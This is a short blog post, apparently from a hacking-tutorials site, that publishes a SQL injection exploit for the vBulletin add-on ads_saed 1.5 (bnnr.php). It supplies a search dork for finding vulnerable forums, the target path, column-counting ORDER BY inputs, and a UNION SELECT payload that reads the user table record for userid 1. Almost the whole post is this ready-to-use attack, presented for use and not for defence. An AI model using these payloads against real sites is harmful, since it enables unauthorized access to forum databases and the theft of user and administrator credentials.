Saturday, August 6, 2011
vBulletin ads_saed 1.5 (bnnr.php) SQL Injection Vulnerability
___________________________________ |
Mail : darkangel_G85@yahoo.com |
___________________________________ |
## script name : ads_saed |
## d0rk : inurl:"vb/bnnr.php" |
Go to url : http://server/vb/bnnr.php |
Exploit in the input "user name" blind injection |
user name = ' ORDER BY 15/* |
user name = ' ORDER BY 16/* |
Now go to Source page : " Unknown column '16' in 'order clause'" |
' UNION SELECT 1,2,3,4,5,4,7,8,9,10,11,12,13,14,15 FROM user where+userid=1/* |
http://www.traidnt.net/vb/showthread.php?t=1102593 |
End
- Copyright ©
.Hacking Cracking Tricks And Tutorials, Paid Scripts, Latest Exploits, 0Day Vulnerability, - Skyblue - Powered by Blogger - Designed by Johanes Djogan -
